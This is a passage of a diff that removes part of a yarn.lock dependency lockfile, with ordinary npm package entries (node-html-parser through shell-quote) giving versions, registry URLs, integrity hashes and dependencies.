- resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052"
- integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==
-
-node-html-parser@1.4.9:
- version "1.4.9"
- resolved "https://registry.yarnpkg.com/node-html-parser/-/node-html-parser-1.4.9.tgz#3c8f6cac46479fae5800725edb532e9ae8fd816c"
- integrity sha512-UVcirFD1Bn0O+TSmloHeHqZZCxHjvtIeGdVdGMhyZ8/PWlEiZaZ5iJzR189yKZr8p0FXN58BUeC7RHRkf/KYGw==
- dependencies:
- he "1.2.0"
-
-node-libs-browser@^2.2.1:
- version "2.2.1"
- resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
- integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==
- dependencies:
- assert "^1.1.1"
- browserify-zlib "^0.2.0"
- buffer "^4.3.0"
- console-browserify "^1.1.0"
- constants-browserify "^1.0.0"
- crypto-browserify "^3.11.0"
- domain-browser "^1.1.1"
- events "^3.0.0"
- https-browserify "^1.0.0"
- os-browserify "^0.3.0"
- path-browserify "0.0.1"
- process "^0.11.10"
- punycode "^1.2.4"
- querystring-es3 "^0.2.0"
- readable-stream "^2.3.3"
- stream-browserify "^2.0.1"
- stream-http "^2.7.2"
- string_decoder "^1.0.0"
- timers-browserify "^2.0.4"
- tty-browserify "0.0.0"
- url "^0.11.0"
- util "^0.11.0"
- vm-browserify "^1.0.1"
-
-node-releases@^1.1.69:
- version "1.1.71"
- resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.71.tgz#cb1334b179896b1c89ecfdd4b725fb7bbdfc7dbb"
- integrity sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg==
-
-normalize-path@^3.0.0, normalize-path@~3.0.0:
- version "3.0.0"
- resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
- integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
-
-object-assign@^4.1.1:
- version "4.1.1"
- resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
- integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-os-browserify@^0.3.0:
- version "0.3.0"
- resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
- integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
-
-p-limit@3.1.0:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
- integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
- dependencies:
- yocto-queue "^0.1.0"
-
-p-limit@^2.2.0:
- version "2.3.0"
- resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
- integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
- dependencies:
- p-try "^2.0.0"
-
-p-locate@^4.1.0:
- version "4.1.0"
- resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
- integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
- dependencies:
- p-limit "^2.2.0"
-
-p-try@^2.0.0:
- version "2.2.0"
- resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
- integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
-
-pako@~1.0.5:
- version "1.0.11"
- resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
- integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
-
-parse-asn1@^5.0.0, parse-asn1@^5.1.5:
- version "5.1.6"
- resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4"
- integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==
- dependencies:
- asn1.js "^5.2.0"
- browserify-aes "^1.0.0"
- evp_bytestokey "^1.0.0"
- pbkdf2 "^3.0.3"
- safe-buffer "^5.1.1"
-
-parse-entities@^2.0.0:
- version "2.0.0"
- resolved "https://registry.yarnpkg.com/parse-entities/-/parse-entities-2.0.0.tgz#53c6eb5b9314a1f4ec99fa0fdf7ce01ecda0cbe8"
- integrity sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==
- dependencies:
- character-entities "^1.0.0"
- character-entities-legacy "^1.0.0"
- character-reference-invalid "^1.0.0"
- is-alphanumerical "^1.0.0"
- is-decimal "^1.0.0"
- is-hexadecimal "^1.0.0"
-
-parse5@^6.0.0:
- version "6.0.1"
- resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b"
- integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==
-
-path-browserify@0.0.1:
- version "0.0.1"
- resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a"
- integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==
-
-path-browserify@1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd"
- integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==
-
-path-exists@^4.0.0:
- version "4.0.0"
- resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
- integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
-
-pbkdf2@^3.0.3:
- version "3.1.1"
- resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.1.tgz#cb8724b0fada984596856d1a6ebafd3584654b94"
- integrity sha512-4Ejy1OPxi9f2tt1rRV7Go7zmfDQ+ZectEQz3VGUQhgq62HtIRPDyG/JtnwIxs6x3uNMwo2V7q1fMvKjb+Tnpqg==
- dependencies:
- create-hash "^1.1.2"
- create-hmac "^1.1.4"
- ripemd160 "^2.0.1"
- safe-buffer "^5.0.1"
- sha.js "^2.4.8"
-
-picomatch@^2.0.4, picomatch@^2.2.1:
- version "2.2.2"
- resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.2.tgz#21f333e9b6b8eaff02468f5146ea406d345f4dad"
- integrity sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==
-
-pkg-dir@^4.1.0:
- version "4.2.0"
- resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
- integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
- dependencies:
- find-up "^4.0.0"
-
-platform@1.3.6:
- version "1.3.6"
- resolved "https://registry.yarnpkg.com/platform/-/platform-1.3.6.tgz#48b4ce983164b209c2d45a107adb31f473a6e7a7"
- integrity sha512-fnWVljUchTro6RiCFvCXBbNhJc2NijN7oIQxbwsyL0buWJPG85v81ehlHI9fXrJsMNgTofEoWIQeClKpgxFLrg==
-
-pnp-webpack-plugin@1.6.4:
- version "1.6.4"
- resolved "https://registry.yarnpkg.com/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149"
- integrity sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg==
- dependencies:
- ts-pnp "^1.1.6"
-
-popper.js@1.16.1-lts:
- version "1.16.1-lts"
- resolved "https://registry.yarnpkg.com/popper.js/-/popper.js-1.16.1-lts.tgz#cf6847b807da3799d80ee3d6d2f90df8a3f50b05"
- integrity sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==
-
-postcss@8.1.7:
- version "8.1.7"
- resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.1.7.tgz#ff6a82691bd861f3354fd9b17b2332f88171233f"
- integrity sha512-llCQW1Pz4MOPwbZLmOddGM9eIJ8Bh7SZ2Oj5sxZva77uVaotYDsYTch1WBTNu7fUY0fpWp0fdt7uW40D4sRiiQ==
- dependencies:
- colorette "^1.2.1"
- line-column "^1.0.2"
- nanoid "^3.1.16"
- source-map "^0.6.1"
-
-postcss@^7.0.32:
- version "7.0.35"
- resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24"
- integrity sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==
- dependencies:
- chalk "^2.4.2"
- source-map "^0.6.1"
- supports-color "^6.1.0"
-
-prismjs@^1.22.0, prismjs@~1.23.0:
- version "1.23.0"
- resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.23.0.tgz#d3b3967f7d72440690497652a9d40ff046067f33"
- integrity sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA==
- optionalDependencies:
- clipboard "^2.0.0"
-
-process-nextick-args@~2.0.0:
- version "2.0.1"
- resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
- integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
-
-process@0.11.10, process@^0.11.10:
- version "0.11.10"
- resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
- integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
-
-prop-types@15.7.2, prop-types@^15.6.2, prop-types@^15.7.2:
- version "15.7.2"
- resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
- integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==
- dependencies:
- loose-envify "^1.4.0"
- object-assign "^4.1.1"
- react-is "^16.8.1"
-
-property-information@^5.0.0, property-information@^5.3.0:
- version "5.6.0"
- resolved "https://registry.yarnpkg.com/property-information/-/property-information-5.6.0.tgz#61675545fb23002f245c6540ec46077d4da3ed69"
- integrity sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA==
- dependencies:
- xtend "^4.0.0"
-
-public-encrypt@^4.0.0:
- version "4.0.3"
- resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
- integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==
- dependencies:
- bn.js "^4.1.0"
- browserify-rsa "^4.0.0"
- create-hash "^1.1.0"
- parse-asn1 "^5.0.0"
- randombytes "^2.0.1"
- safe-buffer "^5.1.2"
-
-punycode@1.3.2:
- version "1.3.2"
- resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
- integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
-
-punycode@^1.2.4:
- version "1.4.1"
- resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
- integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
-
-punycode@^2.1.0:
- version "2.1.1"
- resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
- integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
-
-querystring-es3@^0.2.0:
- version "0.2.1"
- resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
- integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
-
-querystring@0.2.0:
- version "0.2.0"
- resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
- integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
-
-querystring@^0.2.0:
- version "0.2.1"
- resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.1.tgz#40d77615bb09d16902a85c3e38aa8b5ed761c2dd"
- integrity sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg==
-
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
- integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
- dependencies:
- safe-buffer "^5.1.0"
-
-randomfill@^1.0.3:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
- integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==
- dependencies:
- randombytes "^2.0.5"
- safe-buffer "^5.1.0"
-
-raw-body@2.4.1:
- version "2.4.1"
- resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.1.tgz#30ac82f98bb5ae8c152e67149dac8d55153b168c"
- integrity sha512-9WmIKF6mkvA0SLmA2Knm9+qj89e+j1zqgyn8aXGd7+nAduPoqgI9lO57SAZNn/Byzo5P7JhXTyg9PzaJbH73bA==
- dependencies:
- bytes "3.1.0"
- http-errors "1.7.3"
- iconv-lite "0.4.24"
- unpipe "1.0.0"
-
-react-dom@17.0.2:
- version "17.0.2"
- resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-17.0.2.tgz#ecffb6845e3ad8dbfcdc498f0d0a939736502c23"
- integrity sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==
- dependencies:
- loose-envify "^1.1.0"
- object-assign "^4.1.1"
- scheduler "^0.20.2"
-
-react-is@16.13.1, react-is@^16.7.0, react-is@^16.8.1:
- version "16.13.1"
- resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
- integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
-
-"react-is@^16.8.0 || ^17.0.0", react-is@^17.0.0:
- version "17.0.2"
- resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
- integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
-
-react-markdown@^6.0.0:
- version "6.0.0"
- resolved "https://registry.yarnpkg.com/react-markdown/-/react-markdown-6.0.0.tgz#e63cd32d095e864384d524986c44c34c919de517"
- integrity sha512-MC+zljUJeoLb4RbDm/wRbfoQFEZGz4TDOt/wb4dEehdaJWxLMn/T2IgwhQy0VYhuPEd2fhd7iOayE8lmENU0FA==
- dependencies:
- "@types/hast" "^2.0.0"
- "@types/unist" "^2.0.3"
- comma-separated-tokens "^1.0.0"
- prop-types "^15.7.2"
- property-information "^5.0.0"
- react-is "^17.0.0"
- remark-parse "^9.0.0"
- remark-rehype "^8.0.0"
- space-separated-tokens "^1.1.0"
- style-to-object "^0.3.0"
- unified "^9.0.0"
- unist-util-visit "^2.0.0"
-
-react-refresh@0.8.3:
- version "0.8.3"
- resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.8.3.tgz#721d4657672d400c5e3c75d063c4a85fb2d5d68f"
- integrity sha512-X8jZHc7nCMjaCqoU+V2I0cOhNW+QMBwSUkeXnTi8IPe6zaRWfn60ZzvFDZqWPfmSJfjub7dDW1SP0jaHWLu/hg==
-
-react-syntax-highlighter@^15.4.3:
- version "15.4.3"
- resolved "https://registry.yarnpkg.com/react-syntax-highlighter/-/react-syntax-highlighter-15.4.3.tgz#fffe3286677ac470b963b364916d16374996f3a6"
- integrity sha512-TnhGgZKXr5o8a63uYdRTzeb8ijJOgRGe0qjrE0eK/gajtdyqnSO6LqB3vW16hHB0cFierYSoy/AOJw8z1Dui8g==
- dependencies:
- "@babel/runtime" "^7.3.1"
- highlight.js "^10.4.1"
- lowlight "^1.17.0"
- prismjs "^1.22.0"
- refractor "^3.2.0"
-
-react-transition-group@^4.4.0:
- version "4.4.1"
- resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-4.4.1.tgz#63868f9325a38ea5ee9535d828327f85773345c9"
- integrity sha512-Djqr7OQ2aPUiYurhPalTrVy9ddmFCCzwhqQmtN+J3+3DzLO209Fdr70QrN8Z3DsglWql6iY1lDWAfpFiBtuKGw==
- dependencies:
- "@babel/runtime" "^7.5.5"
- dom-helpers "^5.0.1"
- loose-envify "^1.4.0"
- prop-types "^15.6.2"
-
-react@17.0.2:
- version "17.0.2"
- resolved "https://registry.yarnpkg.com/react/-/react-17.0.2.tgz#d0b5cc516d29eb3eee383f75b62864cfb6800037"
- integrity sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==
- dependencies:
- loose-envify "^1.1.0"
- object-assign "^4.1.1"
-
-readable-stream@^2.0.2, readable-stream@^2.3.3, readable-stream@^2.3.6:
- version "2.3.7"
- resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
- integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
- dependencies:
- core-util-is "~1.0.0"
- inherits "~2.0.3"
- isarray "~1.0.0"
- process-nextick-args "~2.0.0"
- safe-buffer "~5.1.1"
- string_decoder "~1.1.1"
- util-deprecate "~1.0.1"
-
-readable-stream@^3.5.0, readable-stream@^3.6.0:
- version "3.6.0"
- resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
- integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==
- dependencies:
- inherits "^2.0.3"
- string_decoder "^1.1.1"
- util-deprecate "^1.0.1"
-
-readdirp@~3.5.0:
- version "3.5.0"
- resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
- integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==
- dependencies:
- picomatch "^2.2.1"
-
-refractor@^3.2.0:
- version "3.3.1"
- resolved "https://registry.yarnpkg.com/refractor/-/refractor-3.3.1.tgz#ebbc04b427ea81dc25ad333f7f67a0b5f4f0be3a"
- integrity sha512-vaN6R56kLMuBszHSWlwTpcZ8KTMG6aUCok4GrxYDT20UIOXxOc5o6oDc8tNTzSlH3m2sI+Eu9Jo2kVdDcUTWYw==
- dependencies:
- hastscript "^6.0.0"
- parse-entities "^2.0.0"
- prismjs "~1.23.0"
-
-regenerator-runtime@^0.13.4:
- version "0.13.7"
- resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55"
- integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew==
-
-rehype-raw@^5.1.0:
- version "5.1.0"
- resolved "https://registry.yarnpkg.com/rehype-raw/-/rehype-raw-5.1.0.tgz#66d5e8d7188ada2d31bc137bc19a1000cf2c6b7e"
- integrity sha512-MDvHAb/5mUnif2R+0IPCYJU8WjHa9UzGtM/F4AVy5GixPlDZ1z3HacYy4xojDU+uBa+0X/3PIfyQI26/2ljJNA==
- dependencies:
- hast-util-raw "^6.1.0"
-
-remark-gfm@^1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/remark-gfm/-/remark-gfm-1.0.0.tgz#9213643001be3f277da6256464d56fd28c3b3c0d"
- integrity sha512-KfexHJCiqvrdBZVbQ6RopMZGwaXz6wFJEfByIuEwGf0arvITHjiKKZ1dpXujjH9KZdm1//XJQwgfnJ3lmXaDPA==
- dependencies:
- mdast-util-gfm "^0.1.0"
- micromark-extension-gfm "^0.3.0"
-
-remark-parse@^9.0.0:
- version "9.0.0"
- resolved "https://registry.yarnpkg.com/remark-parse/-/remark-parse-9.0.0.tgz#4d20a299665880e4f4af5d90b7c7b8a935853640"
- integrity sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==
- dependencies:
- mdast-util-from-markdown "^0.8.0"
-
-remark-rehype@^8.0.0:
- version "8.1.0"
- resolved "https://registry.yarnpkg.com/remark-rehype/-/remark-rehype-8.1.0.tgz#610509a043484c1e697437fa5eb3fd992617c945"
- integrity sha512-EbCu9kHgAxKmW1yEYjx3QafMyGY3q8noUbNUI5xyKbaFP89wbhDrKxyIQNukNYthzjNHZu6J7hwFg7hRm1svYA==
- dependencies:
- mdast-util-to-hast "^10.2.0"
-
-repeat-string@^1.0.0:
- version "1.6.1"
- resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
- integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
-ripemd160@^2.0.0, ripemd160@^2.0.1:
- version "2.0.2"
- resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
- integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==
- dependencies:
- hash-base "^3.0.0"
- inherits "^2.0.1"
-
-safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
- version "5.2.1"
- resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
- integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
-
-safe-buffer@~5.1.0, safe-buffer@~5.1.1:
- version "5.1.2"
- resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
- integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.1.0:
- version "2.1.2"
- resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
- integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
-
-scheduler@^0.20.2:
- version "0.20.2"
- resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.20.2.tgz#4baee39436e34aa93b4874bddcbf0fe8b8b50e91"
- integrity sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==
- dependencies:
- loose-envify "^1.1.0"
- object-assign "^4.1.1"
-
-select@^1.1.2:
- version "1.1.2"
- resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d"
- integrity sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=
-
-semver@^6.0.0:
- version "6.3.0"
- resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
- integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==
-
-setimmediate@^1.0.4:
- version "1.0.5"
- resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
- integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
-setprototypeof@1.1.1:
- version "1.1.1"
- resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
- integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
-
-sha.js@^2.4.0, sha.js@^2.4.8:
- version "2.4.11"
- resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
- integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
- dependencies:
- inherits "^2.0.1"
- safe-buffer "^5.0.1"
-
-shell-quote@1.7.2:
- version "1.7.2"
- resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2"
